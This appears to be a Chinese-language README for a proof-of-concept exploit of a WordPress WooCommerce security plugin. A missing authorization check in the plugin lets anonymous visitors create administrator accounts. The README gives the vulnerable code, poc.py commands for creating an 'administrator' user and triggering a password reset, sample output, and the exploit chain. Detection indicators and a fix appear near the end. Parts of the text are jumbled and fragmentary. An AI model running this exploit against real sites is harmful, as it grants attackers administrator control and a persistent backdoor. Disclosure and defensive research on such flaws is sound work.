作者 thiscitze
| 产品 | Security For WooCommerce (ultimate-security-for-woocommerce) |
| 受影响版本 | 1.0.10 – 1.0.16 |
| 类型 | 缺少授权 / 权限提升 (CWE-862) |
| 影响 | 未授权创建管理员账户 |
| CVSS | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-100109 |
该插件为未授权用户注册了 usfw_create_temporary_user:
add_action( 'wp_ajax_nopriv_usfw_create_temporary_user',
[ $this, 'usfw_create_temporary_user' ] );
该处理程序会验证 nonce,创建一个具有 wp_create_user() 的用户,然后
调用:
$role = isset( $_POST['role'] ) ? sanitize_text_field( $_POST['role'] ) : 'subscriber';
...
$user->set_role( $role );
其中没有 current_user_can() 检查。nonce
(ultimate_security_for_woocommerce_security_nonce) 由该插件的公开脚本进行本地化输出,因此每个匿名访问者都可以从页面
源代码中读取它。
生成的密码不会通过 AJAX 响应返回,因此实际利用链为:
--email 地址的邮箱# create the admin and request the password reset
python3 poc.py --url https://target.example --email [email protected]
# custom username / role
python3 poc.py --url https://target.example --email [email protected] \
--username support --role administrator
# only create the account
python3 poc.py --url https://target.example --email [email protected] --no-reset
典型运行:
+ nonce from https://target.example/
+ ajax : https://target.example/wp-admin/admin-ajax.php
+ administrator account created: pocsupport1
+ password reset requested for [email protected]
* open the reset link from that mailbox, set a password, log in
ultimate_security_for_woocommerce_ajax_obj 以获取 ajax_url 和
nonce(回退为对 JSON 片段使用正则表达式)。action=usfw_create_temporary_user,携带所选的 user_name、
email、role,以及一周的有效期。success: true。wp-login.php?action=lostpassword 提交请求,将重置
链接发送到你提供的电子邮件。一旦使用重置邮件,未授权攻击者即成为管理员。即使没有邮箱访问权限,所创建的具有
administrator 角色的账户也是一个持久后门,会一直存在,直到管理员
将其移除。
action=usfw_create_temporary_user 的
POST /wp-admin/admin-ajax.phpusfw_user_type=temporary_user 和意外角色创建的新用户wp-login.php?action=lostpasswordset_role() 之前添加 current_user_can('create_users') 和权限检查usfw_create_temporary_user 调用发出告警仅供授权测试和实验环境使用。在你不拥有的系统上创建账户在大多数司法管辖区属于 犯罪行为。
作者 thiscitze · github.com/thiscitze